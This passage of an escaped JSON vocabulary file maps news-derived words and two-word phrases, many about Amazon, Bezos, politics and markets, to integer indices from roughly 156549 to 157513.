\"lobbyists hit\": 156549,\n  \"mongodb\": 156550,\n  \"profit beginning\": 156551,\n  \"office makes\": 156552,\n  \"criticism uniquely\": 156553,\n  \"baseball game\": 156554,\n  \"just filling\": 156555,\n  \"media posts\": 156556,\n  \"positive consumer\": 156557,\n  \"varney gathered\": 156558,\n  \"usps previously\": 156559,\n  \"enquirer allegedly\": 156560,\n  \"posts share\": 156561,\n  \"race sex\": 156562,\n  \"quintessentially\": 156563,\n  \"sector say\": 156564,\n  \"city wasn\": 156565,\n  \"product dating\": 156566,\n  \"revenue reflecting\": 156567,\n  \"growth begin\": 156568,\n  \"churn little\": 156569,\n  \"workers amid\": 156570,\n  \"crime afghan\": 156571,\n  \"concentrated outreach\": 156572,\n  \"finally confirmed\": 156573,\n  \"thank responders\": 156574,\n  \"trump sides\": 156575,\n  \"obama speechwriter\": 156576,\n  \"hbo news\": 156577,\n  \"bernanke geithner\": 156578,\n  \"font family\": 156579,\n  \"regarding search\": 156580,\n  \"responsible investment\": 156581,\n  \"ymca\": 156582,\n  \"grueling work\": 156583,\n  \"ment\": 156584,\n  \"neutral silver\": 156585,\n  \"admits acknowledges\": 156586,\n  \"cooper debunks\": 156587,\n  \"opener norah\": 156588,\n  \"tulsa\": 156589,\n  \"permitting just\": 156590,\n  \"pharmaceuticals marketing\": 156591,\n  \"correctly identifies\": 156592,\n  \"uses\": 156593,\n  \"efforts according\": 156594,\n  \"horvers\": 156595,\n  \"sbd\": 156596,\n  \"bank data\": 156597,\n  \"making adjustments\": 156598,\n  \"little skunk\": 156599,\n  \"certainly pulling\": 156600,\n  \"great hope\": 156601,\n  \"funding available\": 156602,\n  \"time wife\": 156603,\n  \"recruit employees\": 156604,\n  \"g8 c2x\": 156605,\n  \"yeah apple\": 156606,\n  \"imf mideast\": 156607,\n  \"inexpensively ship\": 156608,\n  \"outdoor string\": 156609,\n  \"paulette perhach\": 156610,\n  \"delved\": 156611,\n  \"trump breaks\": 156612,\n  \"nature climate\": 156613,\n  \"americans work\": 156614,\n  \"dow closed\": 156615,\n  \"free downloads\": 156616,\n  \"speaker michael\": 156617,\n  \"yusaku maezawa\": 156618,\n  \"direct harm\": 156619,\n  \"partial privatization\": 156620,\n  \"american muslim\": 156621,\n  \"bleday hours\": 156622,\n  \"saunders\": 156623,\n  \"leslie van\": 156624,\n  \"theo\": 156625,\n  \"infringing listings\": 156626,\n  \"trade near\": 156627,\n  \"2992\": 156628,\n  \"elected man\": 156629,\n  \"great growth\": 156630,\n  \"trademark law\": 156631,\n  \"entire sketch\": 156632,\n  \"agency administrator\": 156633,\n  \"queens nyc\": 156634,\n  \"novel traps\": 156635,\n  \"companies deferred\": 156636,\n  \"marched early\": 156637,\n  \"obvious politics\": 156638,\n  \"preferential\": 156639,\n  \"repulsive\": 156640,\n  \"news paper\": 156641,\n  \"tech report\": 156642,\n  \"cullen\": 156643,\n  \"signed production\": 156644,\n  \"cher sex\": 156645,\n  \"singles chart\": 156646,\n  \"ban payments\": 156647,\n  \"grocery prices\": 156648,\n  \"week staff\": 156649,\n  \"including mid\": 156650,\n  \"lawfully\": 156651,\n  \"2016 meeting\": 156652,\n  \"federal paperwork\": 156653,\n  \"clinic turns\": 156654,\n  \"sports section\": 156655,\n  \"bus plunged\": 156656,\n  \"labor pool\": 156657,\n  \"2018 photo\": 156658,\n  \"founded kerr\": 156659,\n  \"tallied numbers\": 156660,\n  \"resounding respect\": 156661,\n  \"news contact\": 156662,\n  \"quieter\": 156663,\n  \"aot enjoy\": 156664,\n  \"noncommittal\": 156665,\n  \"read far\": 156666,\n  \"britain influence\": 156667,\n  \"ad spend\": 156668,\n  \"walmart symantec\": 156669,\n  \"triple\": 156670,\n  \"thatthe political\": 156671,\n  \"young educated\": 156672,\n  \"burger king\": 156673,\n  \"destroys\": 156674,\n  \"metrics directly\": 156675,\n  \"specific actions\": 156676,\n  \"won world\": 156677,\n  \"lissa\": 156678,\n  \"good ol\": 156679,\n  \"woolley wilson\": 156680,\n  \"resolution fda\": 156681,\n  \"larger company\": 156682,\n  \"snapdragon 855\": 156683,\n  \"state investigators\": 156684,\n  \"simply just\": 156685,\n  \"lizard person\": 156686,\n  \"revised declines\": 156687,\n  \"bezos letter\": 156688,\n  \"committee chairman\": 156689,\n  \"sector growth\": 156690,\n  \"link sent\": 156691,\n  \"dhs acknowledging\": 156692,\n  \"china major\": 156693,\n  \"ceo tom\": 156694,\n  \"unless local\": 156695,\n  \"kapos\": 156696,\n  \"nshongore faustin\": 156697,\n  \"brett kavanough\": 156698,\n  \"met key\": 156699,\n  \"dismantling\": 156700,\n  \"newspaper critical\": 156701,\n  \"alphastreet\": 156702,\n  \"companies appear\": 156703,\n  \"city council\": 156704,\n  \"kalorama neighbourhood\": 156705,\n  \"regions previously\": 156706,\n  \"price fixing\": 156707,\n  \"ex playboy\": 156708,\n  \"grodenchik\": 156709,\n  \"higher yielding\": 156710,\n  \"predominantly\": 156711,\n  \"liberal bezos\": 156712,\n  \"run mark\": 156713,\n  \"banner alzheimers\": 156714,\n  \"rants share\": 156715,\n  \"doubt embolden\": 156716,\n  \"trump regard\": 156717,\n  \"facebook wasn\": 156718,\n  \"google controls\": 156719,\n  \"francisco based\": 156720,\n  \"gidley told\": 156721,\n  \"fox trump\": 156722,\n  \"imagined amazon\": 156723,\n  \"south american\": 156724,\n  \"retailer wanting\": 156725,\n  \"emma\": 156726,\n  \"transportation including\": 156727,\n  \"mail statement\": 156728,\n  \"light trading\": 156729,\n  \"company retreat\": 156730,\n  \"featuring burning\": 156731,\n  \"boom luisa\": 156732,\n  \"post anti\": 156733,\n  \"pennsylvania bid\": 156734,\n  \"lucrative relationship\": 156735,\n  \"murakami\": 156736,\n  \"waffled okonomiyaki\": 156737,\n  \"police bodycam\": 156738,\n  \"official bloomberg\": 156739,\n  \"chefsgiving\": 156740,\n  \"soybean cultivation\": 156741,\n  \"kellogg school\": 156742,\n  \"uber car\": 156743,\n  \"stop making\": 156744,\n  \"new single\": 156745,\n  \"officials discussed\": 156746,\n  \"movie\": 156747,\n  \"military ability\": 156748,\n  \"data privacy\": 156749,\n  \"bit maybe\": 156750,\n  \"units sold\": 156751,\n  \"decade critics\": 156752,\n  \"people fleeing\": 156753,\n  \"changing times\": 156754,\n  \"delisted\": 156755,\n  \"takedown\": 156756,\n  \"investigation severe\": 156757,\n  \"parliamentary defeat\": 156758,\n  \"wood jr\": 156759,\n  \"amazon poster\": 156760,\n  \"poll indicates\": 156761,\n  \"virginia dallas\": 156762,\n  \"157 shares\": 156763,\n  \"wadtw logo\": 156764,\n  \"cyrillic characters\": 156765,\n  \"redhotblaziken redhotblaziken\": 156766,\n  \"raised rates\": 156767,\n  \"high born\": 156768,\n  \"affair michael\": 156769,\n  \"campaign raised\": 156770,\n  \"english scandal\": 156771,\n  \"emmy\": 156772,\n  \"huge blow\": 156773,\n  \"prominent democrats\": 156774,\n  \"mozzarella\": 156775,\n  \"decisions ig\": 156776,\n  \"text commercial\": 156777,\n  \"extraordinary afternoon\": 156778,\n  \"flight cloud\": 156779,\n  \"read analysts\": 156780,\n  \"popular residents\": 156781,\n  \"months likewise\": 156782,\n  \"magazine editor\": 156783,\n  \"kossowan airs\": 156784,\n  \"launching skip\": 156785,\n  \"king chris\": 156786,\n  \"rollback trump\": 156787,\n  \"coordinated patrick\": 156788,\n  \"toronto squarely\": 156789,\n  \"carbon reductions\": 156790,\n  \"big production\": 156791,\n  \"lindsey vonn\": 156792,\n  \"market breakdown\": 156793,\n  \"jobs crisis\": 156794,\n  \"sharma\": 156795,\n  \"hurdles\": 156796,\n  \"critical semiconductor\": 156797,\n  \"allegations american\": 156798,\n  \"deal wouldn\": 156799,\n  \"dollar does\": 156800,\n  \"roelof\": 156801,\n  \"hop star\": 156802,\n  \"anticipated earnings\": 156803,\n  \"47m rebecca\": 156804,\n  \"clauses\": 156805,\n  \"indian reservation\": 156806,\n  \"government school\": 156807,\n  \"nixon attorney\": 156808,\n  \"mountain 600s\": 156809,\n  \"computing paid\": 156810,\n  \"ivan gonzales\": 156811,\n  \"speakers\": 156812,\n  \"gas explosion\": 156813,\n  \"chase tech\": 156814,\n  \"wealth lc\": 156815,\n  \"landscape amazon\": 156816,\n  \"traders welcome\": 156817,\n  \"outcomes\": 156818,\n  \"financial challenges\": 156819,\n  \"children tend\": 156820,\n  \"brands saw\": 156821,\n  \"shares invesco\": 156822,\n  \"phases based\": 156823,\n  \"john paul\": 156824,\n  \"1893\": 156825,\n  \"having bought\": 156826,\n  \"haven pushed\": 156827,\n  \"oppo\": 156828,\n  \"954 billion\": 156829,\n  \"deal jeff\": 156830,\n  \"ukraine\": 156831,\n  \"jarvis\": 156832,\n  \"multiple committees\": 156833,\n  \"service including\": 156834,\n  \"company citizenship\": 156835,\n  \"just simple\": 156836,\n  \"editors mary\": 156837,\n  \"2f1999 enddate\": 156838,\n  \"wry\": 156839,\n  \"teasing possible\": 156840,\n  \"company dis\": 156841,\n  \"plots swan\": 156842,\n  \"disappointed customers\": 156843,\n  \"mars conference\": 156844,\n  \"pass thanks\": 156845,\n  \"dollar business\": 156846,\n  \"surest sign\": 156847,\n  \"offer rudimentary\": 156848,\n  \"reports today\": 156849,\n  \"snarky\": 156850,\n  \"facts straight\": 156851,\n  \"epa hasn\": 156852,\n  \"fuel infrastructure\": 156853,\n  \"mcdougal payments\": 156854,\n  \"addition kroger\": 156855,\n  \"1271\": 156856,\n  \"origin\": 156857,\n  \"explore bankruptcy\": 156858,\n  \"national audience\": 156859,\n  \"studying opportunity\": 156860,\n  \"1990s robust\": 156861,\n  \"petty immature\": 156862,\n  \"marriage presumably\": 156863,\n  \"coordination efforts\": 156864,\n  \"personal feud\": 156865,\n  \"uglier\": 156866,\n  \"embarked\": 156867,\n  \"gy6nbvge0c dan\": 156868,\n  \"harassment including\": 156869,\n  \"skewer trump\": 156870,\n  \"w0 w0\": 156871,\n  \"curbelo fla\": 156872,\n  \"pelosi age\": 156873,\n  \"target china\": 156874,\n  \"particularly concerned\": 156875,\n  \"colleagues\": 156876,\n  \"financial clout\": 156877,\n  \"office lot\": 156878,\n  \"shared life\": 156879,\n  \"singapore bolton\": 156880,\n  \"sara gottfried\": 156881,\n  \"skews\": 156882,\n  \"utility dominion\": 156883,\n  \"energy commission\": 156884,\n  \"shares nosedive\": 156885,\n  \"500 best\": 156886,\n  \"rowling\": 156887,\n  \"highlighted\": 156888,\n  \"various government\": 156889,\n  \"patients amazon\": 156890,\n  \"moveon posted\": 156891,\n  \"indian mumbai\": 156892,\n  \"2b visa\": 156893,\n  \"gifts just\": 156894,\n  \"selects\": 156895,\n  \"prop\": 156896,\n  \"owner doesn\": 156897,\n  \"organization matched\": 156898,\n  \"aircraft delivering\": 156899,\n  \"virginia locations\": 156900,\n  \"edge continues\": 156901,\n  \"tale instead\": 156902,\n  \"nyna\": 156903,\n  \"discriminated\": 156904,\n  \"arab emirates\": 156905,\n  \"equity giant\": 156906,\n  \"epa chief\": 156907,\n  \"strong earnings\": 156908,\n  \"brexit test\": 156909,\n  \"listing supporters\": 156910,\n  \"2020 debate\": 156911,\n  \"predictive analysis\": 156912,\n  \"lazy right\": 156913,\n  \"ronyism\": 156914,\n  \"twitter ragehole\": 156915,\n  \"failing employees\": 156916,\n  \"socialism big\": 156917,\n  \"specific criteria\": 156918,\n  \"power results\": 156919,\n  \"wholesalers\": 156920,\n  \"unspoken rivalry\": 156921,\n  \"matthew staver\": 156922,\n  \"dearly reports\": 156923,\n  \"helipad new\": 156924,\n  \"check conversation\": 156925,\n  \"designee\": 156926,\n  \"dhoward xxxxxxx\": 156927,\n  \"face worst\": 156928,\n  \"platform taobao\": 156929,\n  \"uber nyse\": 156930,\n  \"disinformation active\": 156931,\n  \"leave bezos\": 156932,\n  \"smartphone business\": 156933,\n  \"2lqswbh politico\": 156934,\n  \"000 flights\": 156935,\n  \"churned\": 156936,\n  \"naughty bits\": 156937,\n  \"armisen\": 156938,\n  \"financial bogeyman\": 156939,\n  \"clea\": 156940,\n  \"triggered seachange\": 156941,\n  \"machine\": 156942,\n  \"conservative daily\": 156943,\n  \"ordering process\": 156944,\n  \"selyukh byline\": 156945,\n  \"diverse industries\": 156946,\n  \"took victory\": 156947,\n  \"provide important\": 156948,\n  \"khqdwikvjv\": 156949,\n  \"fitton conservative\": 156950,\n  \"feelings given\": 156951,\n  \"news washington\": 156952,\n  \"murray jr\": 156953,\n  \"splendid\": 156954,\n  \"mccain attacks\": 156955,\n  \"talk tech\": 156956,\n  \"766th richest\": 156957,\n  \"hails\": 156958,\n  \"alpha seeking\": 156959,\n  \"charles missouri\": 156960,\n  \"soon decline\": 156961,\n  \"called empire\": 156962,\n  \"a2ckhl3zj9\": 156963,\n  \"counsel investigation\": 156964,\n  \"doesn necessarily\": 156965,\n  \"blaming opposition\": 156966,\n  \"discounting\": 156967,\n  \"striking things\": 156968,\n  \"wynn\": 156969,\n  \"convicted walmart\": 156970,\n  \"biological sex\": 156971,\n  \"amazon avoided\": 156972,\n  \"policy wasn\": 156973,\n  \"china including\": 156974,\n  \"possible combinations\": 156975,\n  \"monopoly bad\": 156976,\n  \"ceo underlines\": 156977,\n  \"ksh 2600\": 156978,\n  \"paring\": 156979,\n  \"admissions scandal\": 156980,\n  \"chronicle books\": 156981,\n  \"andrea kaye\": 156982,\n  \"publish dirt\": 156983,\n  \"enquirer later\": 156984,\n  \"trump obstruction\": 156985,\n  \"google goog\": 156986,\n  \"immensely successful\": 156987,\n  \"crispr modified\": 156988,\n  \"lon orig\": 156989,\n  \"conga\": 156990,\n  \"final\": 156991,\n  \"potentially destabilizing\": 156992,\n  \"entire commerce\": 156993,\n  \"credible accusation\": 156994,\n  \"medicare alliance\": 156995,\n  \"projects compared\": 156996,\n  \"acted criminally\": 156997,\n  \"amazon decides\": 156998,\n  \"congressman joe\": 156999,\n  \"average cost\": 157000,\n  \"conservative wide\": 157001,\n  \"week aimed\": 157002,\n  \"regulatory reductions\": 157003,\n  \"new barriers\": 157004,\n  \"dine\": 157005,\n  \"funko pop\": 157006,\n  \"business amazon\": 157007,\n  \"james whitey\": 157008,\n  \"appropriate action\": 157009,\n  \"trump opening\": 157010,\n  \"comply\": 157011,\n  \"morning just\": 157012,\n  \"case return\": 157013,\n  \"vitriol\": 157014,\n  \"locate new\": 157015,\n  \"mistake pelosi\": 157016,\n  \"future sfb\": 157017,\n  \"payment lending\": 157018,\n  \"walks\": 157019,\n  \"unwieldy\": 157020,\n  \"fresh prepared\": 157021,\n  \"personally pushing\": 157022,\n  \"produce scripted\": 157023,\n  \"lift gives\": 157024,\n  \"tops forbes\": 157025,\n  \"890\": 157026,\n  \"residents read\": 157027,\n  \"hue bulb\": 157028,\n  \"entertainment litigator\": 157029,\n  \"weather tennessee\": 157030,\n  \"nonconsensual contact\": 157031,\n  \"team concluded\": 157032,\n  \"tips suggestions\": 157033,\n  \"symantec stock\": 157034,\n  \"donnell equality\": 157035,\n  \"giant owner\": 157036,\n  \"make huge\": 157037,\n  \"gates make\": 157038,\n  \"c5\": 157039,\n  \"mclarty\": 157040,\n  \"2015 post\": 157041,\n  \"appear stable\": 157042,\n  \"increases jim\": 157043,\n  \"recent weakness\": 157044,\n  \"zeng\": 157045,\n  \"jamescomey mccabe\": 157046,\n  \"spinit\": 157047,\n  \"data storyurl\": 157048,\n  \"american myths\": 157049,\n  \"usually means\": 157050,\n  \"biz known\": 157051,\n  \"grow faster\": 157052,\n  \"res longer\": 157053,\n  \"seeks update\": 157054,\n  \"overseeing\": 157055,\n  \"thechallenge\": 157056,\n  \"effective ways\": 157057,\n  \"business meetings\": 157058,\n  \"long know\": 157059,\n  \"paying exactly\": 157060,\n  \"z8\": 157061,\n  \"rhetoric bad\": 157062,\n  \"author mackenzie\": 157063,\n  \"cassidy thank\": 157064,\n  \"context unspooling\": 157065,\n  \"creative services\": 157066,\n  \"suddenly turn\": 157067,\n  \"robust program\": 157068,\n  \"leslie jones\": 157069,\n  \"says deborah\": 157070,\n  \"mom makeover\": 157071,\n  \"adrenaline rush\": 157072,\n  \"mkm\": 157073,\n  \"activist anyanwu\": 157074,\n  \"firm unless\": 157075,\n  \"soaring policy\": 157076,\n  \"based taylor\": 157077,\n  \"observers say\": 157078,\n  \"chapo used\": 157079,\n  \"general offered\": 157080,\n  \"states recognized\": 157081,\n  \"king hype\": 157082,\n  \"children toy\": 157083,\n  \"data harvesting\": 157084,\n  \"greer thanks\": 157085,\n  \"newer apps\": 157086,\n  \"amazon paid\": 157087,\n  \"116 look\": 157088,\n  \"registration fee\": 157089,\n  \"dep\": 157090,\n  \"florida yoga\": 157091,\n  \"apartments\": 157092,\n  \"parkland shooting\": 157093,\n  \"seattle business\": 157094,\n  \"fraudnewscnn fnn\": 157095,\n  \"funding pinch\": 157096,\n  \"amazon quarterly\": 157097,\n  \"pecker word\": 157098,\n  \"g3xrcr9ixk sadly\": 157099,\n  \"contract manufacturer\": 157100,\n  \"consulting group\": 157101,\n  \"whiteroseevolution\": 157102,\n  \"issues blocking\": 157103,\n  \"author david\": 157104,\n  \"rtd\": 157105,\n  \"etsy base\": 157106,\n  \"loud\": 157107,\n  \"daily engagement\": 157108,\n  \"connecticut\": 157109,\n  \"legal negotiation\": 157110,\n  \"novelist father\": 157111,\n  \"spiritual salvation\": 157112,\n  \"messaging app\": 157113,\n  \"free\": 157114,\n  \"democrats just\": 157115,\n  \"basic books\": 157116,\n  \"quarterly financial\": 157117,\n  \"protein shake\": 157118,\n  \"amid speculation\": 157119,\n  \"dell aws\": 157120,\n  \"weeping\": 157121,\n  \"increasingly looks\": 157122,\n  \"veto kalanick\": 157123,\n  \"summit house\": 157124,\n  \"harlem vince\": 157125,\n  \"perceptive observer\": 157126,\n  \"predicting near\": 157127,\n  \"billionaire penis\": 157128,\n  \"company size\": 157129,\n  \"data present\": 157130,\n  \"painter believes\": 157131,\n  \"country likes\": 157132,\n  \"schools churches\": 157133,\n  \"war sthash\": 157134,\n  \"jobs 1500\": 157135,\n  \"low point\": 157136,\n  \"methodically carefully\": 157137,\n  \"documents obtained\": 157138,\n  \"closed deals\": 157139,\n  \"organized akin\": 157140,\n  \"surely flying\": 157141,\n  \"conmijente\": 157142,\n  \"mercenary\": 157143,\n  \"accusing ami\": 157144,\n  \"wisconsin nonpartisan\": 157145,\n  \"sharply reduced\": 157146,\n  \"landless\": 157147,\n  \"ixlffnkhqx pic\": 157148,\n  \"agony human\": 157149,\n  \"deal stuck\": 157150,\n  \"destructively\": 157151,\n  \"elections story\": 157152,\n  \"kavanaugh\": 157153,\n  \"sacred\": 157154,\n  \"administration donald\": 157155,\n  \"minded attacks\": 157156,\n  \"surely helps\": 157157,\n  \"trump common\": 157158,\n  \"rabinovitz calls\": 157159,\n  \"vegas nev\": 157160,\n  \"delivering\": 157161,\n  \"trump stock\": 157162,\n  \"makes waste\": 157163,\n  \"liability corp\": 157164,\n  \"dejoy\": 157165,\n  \"post love\": 157166,\n  \"gingerbread\": 157167,\n  \"jobs jeff\": 157168,\n  \"security computers\": 157169,\n  \"deadly military\": 157170,\n  \"ulmanu\": 157171,\n  \"hating thedemocrats\": 157172,\n  \"latest investing\": 157173,\n  \"saga dad\": 157174,\n  \"don live\": 157175,\n  \"owner formally\": 157176,\n  \"presidential contempt\": 157177,\n  \"week incident\": 157178,\n  \"intensified\": 157179,\n  \"pets kiosk\": 157180,\n  \"ostensibly benefits\": 157181,\n  \"patrick left\": 157182,\n  \"theinformation\": 157183,\n  \"gannon\": 157184,\n  \"coates contemplates\": 157185,\n  \"hit newsstands\": 157186,\n  \"losses 2018\": 157187,\n  \"opens\": 157188,\n  \"justin\": 157189,\n  \"current product\": 157190,\n  \"trump wove\": 157191,\n  \"hats hair\": 157192,\n  \"service takes\": 157193,\n  \"hurricane beach\": 157194,\n  \"richard frank\": 157195,\n  \"iphone manufacturer\": 157196,\n  \"party accounts\": 157197,\n  \"television stations\": 157198,\n  \"clouds modern\": 157199,\n  \"wing receptionist\": 157200,\n  \"million travelers\": 157201,\n  \"detecting\": 157202,\n  \"wholesaling efforts\": 157203,\n  \"believe democrat\": 157204,\n  \"twitter following\": 157205,\n  \"venture capital\": 157206,\n  \"left wearing\": 157207,\n  \"jbl duet\": 157208,\n  \"seamless transition\": 157209,\n  \"election scandal\": 157210,\n  \"wealth mgmt\": 157211,\n  \"cohen story\": 157212,\n  \"mustard\": 157213,\n  \"questions operator\": 157214,\n  \"receive academic\": 157215,\n  \"gambelli president\": 157216,\n  \"slain\": 157217,\n  \"liberties attorney\": 157218,\n  \"faces law\": 157219,\n  \"fully automate\": 157220,\n  \"microsoft jason\": 157221,\n  \"breaks\": 157222,\n  \"ban chinese\": 157223,\n  \"company laid\": 157224,\n  \"hasn remained\": 157225,\n  \"spending edges\": 157226,\n  \"joined hulu\": 157227,\n  \"times col\": 157228,\n  \"worlds collide\": 157229,\n  \"jw\": 157230,\n  \"channel series\": 157231,\n  \"amazing amusing\": 157232,\n  \"easily taking\": 157233,\n  \"client\": 157234,\n  \"minister inspiring\": 157235,\n  \"anti technology\": 157236,\n  \"office interview\": 157237,\n  \"hold people\": 157238,\n  \"exemptions deductions\": 157239,\n  \"films watched\": 157240,\n  \"hal singer\": 157241,\n  \"investjust start\": 157242,\n  \"times regarding\": 157243,\n  \"lobbyist despite\": 157244,\n  \"ravi\": 157245,\n  \"agenda despite\": 157246,\n  \"preliminary\": 157247,\n  \"real excitement\": 157248,\n  \"agreements recessions\": 157249,\n  \"735\": 157250,\n  \"articleshow 67777125\": 157251,\n  \"complete drawing\": 157252,\n  \"5e383231323b626f6c6465725f6e6577735f616374696f6e\": 157253,\n  \"outsized names\": 157254,\n  \"denied paternity\": 157255,\n  \"backdating documents\": 157256,\n  \"debuts weekly\": 157257,\n  \"reportedly worth\": 157258,\n  \"delicious fried\": 157259,\n  \"china cuts\": 157260,\n  \"unfold worldwide\": 157261,\n  \"lives\": 157262,\n  \"commerce marketplace\": 157263,\n  \"toronto urbanologist\": 157264,\n  \"reveals aldi\": 157265,\n  \"rasing taxes\": 157266,\n  \"panel told\": 157267,\n  \"second publicly\": 157268,\n  \"workers looking\": 157269,\n  \"phillip politico\": 157270,\n  \"red neckline\": 157271,\n  \"congressional hearing\": 157272,\n  \"sec filings\": 157273,\n  \"poses meaningful\": 157274,\n  \"airports tsa\": 157275,\n  \"owns huge\": 157276,\n  \"beautiful golden\": 157277,\n  \"agenda trump\": 157278,\n  \"enjoyed designing\": 157279,\n  \"single employee\": 157280,\n  \"count costs\": 157281,\n  \"undisclosed\": 157282,\n  \"bribing\": 157283,\n  \"sources study\": 157284,\n  \"street businesses\": 157285,\n  \"floor according\": 157286,\n  \"shopping site\": 157287,\n  \"local authorities\": 157288,\n  \"company fulfillment\": 157289,\n  \"228515 inc_homepage_headline\": 157290,\n  \"earth history\": 157291,\n  \"begin video\": 157292,\n  \"tyle\": 157293,\n  \"ron johnson\": 157294,\n  \"800\": 157295,\n  \"lauderdale international\": 157296,\n  \"rachel siegel\": 157297,\n  \"women lisa\": 157298,\n  \"behemoth evade\": 157299,\n  \"amazon chinese\": 157300,\n  \"records associated\": 157301,\n  \"lava\": 157302,\n  \"different sounds\": 157303,\n  \"kana\": 157304,\n  \"1985 novel\": 157305,\n  \"govpredict findings\": 157306,\n  \"expand amazon\": 157307,\n  \"doen aan\": 157308,\n  \"saw moser\": 157309,\n  \"cnl_filelocation\": 157310,\n  \"critics worrying\": 157311,\n  \"najarian yes\": 157312,\n  \"working families\": 157313,\n  \"good corporate\": 157314,\n  \"including trump\": 157315,\n  \"significant challenge\": 157316,\n  \"including rogue\": 157317,\n  \"deze plekken\": 157318,\n  \"nevis\": 157319,\n  \"elemental main\": 157320,\n  \"ladd\": 157321,\n  \"criticized walmart\": 157322,\n  \"consecutive quarter\": 157323,\n  \"federal jury\": 157324,\n  \"transgender student\": 157325,\n  \"voa\": 157326,\n  \"flush\": 157327,\n  \"shipping inventory\": 157328,\n  \"opposition jeff\": 157329,\n  \"captures civil\": 157330,\n  \"news wire\": 157331,\n  \"tel\": 157332,\n  \"expecting pretty\": 157333,\n  \"journal wikileaks\": 157334,\n  \"threatened cnn\": 157335,\n  \"year pitched\": 157336,\n  \"toil\": 157337,\n  \"riddance\": 157338,\n  \"article cardinal\": 157339,\n  \"partygoers saved\": 157340,\n  \"tanking right\": 157341,\n  \"nuke demands\": 157342,\n  \"besieged retail\": 157343,\n  \"download\": 157344,\n  \"federal filings\": 157345,\n  \"voters particularly\": 157346,\n  \"slim margins\": 157347,\n  \"safety medal\": 157348,\n  \"rates making\": 157349,\n  \"hours workers\": 157350,\n  \"bomb threat\": 157351,\n  \"autoplayvideoexist cnn\": 157352,\n  \"predetermined\": 157353,\n  \"valuable\": 157354,\n  \"functional equivalent\": 157355,\n  \"c0 ta\": 157356,\n  \"advertising ecosystem\": 157357,\n  \"spending limits\": 157358,\n  \"corporation discussed\": 157359,\n  \"professors rebecca\": 157360,\n  \"stock option\": 157361,\n  \"powerhouse headed\": 157362,\n  \"cnn state\": 157363,\n  \"promotes wealth\": 157364,\n  \"chairman jeff\": 157365,\n  \"rigging search\": 157366,\n  \"policy failure\": 157367,\n  \"tech study\": 157368,\n  \"americans away\": 157369,\n  \"sec\": 157370,\n  \"inc_autid inc_typid\": 157371,\n  \"voted\": 157372,\n  \"ami responded\": 157373,\n  \"follows hollywood\": 157374,\n  \"undisciplined entitlements\": 157375,\n  \"argument\": 157376,\n  \"lunar lander\": 157377,\n  \"leaning independent\": 157378,\n  \"collected consumption\": 157379,\n  \"instant news\": 157380,\n  \"especially vulnerable\": 157381,\n  \"weaved\": 157382,\n  \"develop ethical\": 157383,\n  \"island warehouse\": 157384,\n  \"worshipers\": 157385,\n  \"walker governor\": 157386,\n  \"great britain\": 157387,\n  \"masterpiece\": 157388,\n  \"apparently jumps\": 157389,\n  \"asia shares\": 157390,\n  \"privately fuming\": 157391,\n  \"201 operator\": 157392,\n  \"amazon handful\": 157393,\n  \"reverse policy\": 157394,\n  \"martingale asset\": 157395,\n  \"year trading\": 157396,\n  \"usps dhl\": 157397,\n  \"giant tech\": 157398,\n  \"photo alex\": 157399,\n  \"contact list\": 157400,\n  \"wanted season\": 157401,\n  \"control gianaris\": 157402,\n  \"louise_matsakis wired\": 157403,\n  \"msnbc journalist\": 157404,\n  \"corporate mail\": 157405,\n  \"separates\": 157406,\n  \"akanksha\": 157407,\n  \"twitter stem\": 157408,\n  \"nick fauchald\": 157409,\n  \"house anya\": 157410,\n  \"titanic\": 157411,\n  \"dorning\": 157412,\n  \"hatch throw\": 157413,\n  \"special adviser\": 157414,\n  \"310 million\": 157415,\n  \"president election\": 157416,\n  \"negotiated deal\": 157417,\n  \"amazon pillpack\": 157418,\n  \"roman catholic\": 157419,\n  \"maxsa warehouse\": 157420,\n  \"t000023122 c000212486\": 157421,\n  \"francisco county\": 157422,\n  \"european decision\": 157423,\n  \"taking matters\": 157424,\n  \"rep aoc\": 157425,\n  \"example netflix\": 157426,\n  \"officials did\": 157427,\n  \"game crazy\": 157428,\n  \"select zip\": 157429,\n  \"cruel drama\": 157430,\n  \"total dollars\": 157431,\n  \"secondary headquarters\": 157432,\n  \"involve pay\": 157433,\n  \"making improvements\": 157434,\n  \"people forget\": 157435,\n  \"ceo takes\": 157436,\n  \"limited role\": 157437,\n  \"quarterly high\": 157438,\n  \"pit stop\": 157439,\n  \"based economist\": 157440,\n  \"ceo comments\": 157441,\n  \"arabia ahead\": 157442,\n  \"wife lisa\": 157443,\n  \"preference\": 157444,\n  \"limited moves\": 157445,\n  \"air mattresses\": 157446,\n  \"2018 director\": 157447,\n  \"politico playbook\": 157448,\n  \"granted man\": 157449,\n  \"bellyaching\": 157450,\n  \"q2 personal\": 157451,\n  \"blue chips\": 157452,\n  \"cases\": 157453,\n  \"subdued\": 157454,\n  \"shipping industry\": 157455,\n  \"blanchard\": 157456,\n  \"death stakes\": 157457,\n  \"client mounting\": 157458,\n  \"assistants sensible\": 157459,\n  \"agency changes\": 157460,\n  \"models\": 157461,\n  \"iphone demand\": 157462,\n  \"dui rhythm\": 157463,\n  \"pardoned\": 157464,\n  \"anxious\": 157465,\n  \"koett german\": 157466,\n  \"statustext\": 157467,\n  \"street likes\": 157468,\n  \"lf2 lf3\": 157469,\n  \"thecity concern\": 157470,\n  \"home prices\": 157471,\n  \"heaping praises\": 157472,\n  \"stream\": 157473,\n  \"evidence oops\": 157474,\n  \"orleans called\": 157475,\n  \"leaders attends\": 157476,\n  \"virtuous cycle\": 157477,\n  \"bad advice\": 157478,\n  \"live eat\": 157479,\n  \"parroted\": 157480,\n  \"films tv\": 157481,\n  \"fiction novel\": 157482,\n  \"2fuser 2fnewsletter\": 157483,\n  \"capcon roundup\": 157484,\n  \"empire videocmsurl\": 157485,\n  \"food delivery\": 157486,\n  \"authorhash server719402\": 157487,\n  \"pam wasserstein\": 157488,\n  \"stoppelman jeremy\": 157489,\n  \"dark mystery\": 157490,\n  \"slightly dumbed\": 157491,\n  \"water signs\": 157492,\n  \"government hearing\": 157493,\n  \"2018 resulting\": 157494,\n  \"low income\": 157495,\n  \"buy red\": 157496,\n  \"capsaicin\": 157497,\n  \"clearly irate\": 157498,\n  \"week authorized\": 157499,\n  \"teen\": 157500,\n  \"workers voluntarily\": 157501,\n  \"good time\": 157502,\n  \"son ennis\": 157503,\n  \"analysts politicians\": 157504,\n  \"helped independent\": 157505,\n  \"flip\": 157506,\n  \"finally tonight\": 157507,\n  \"minor charge\": 157508,\n  \"predicting consumer\": 157509,\n  \"taxi farmers\": 157510,\n  \"cost structure\": 157511,\n  \"norah donnell\": 157512,\n  \"animal planet\": 157513,\n  \"autobiography\": 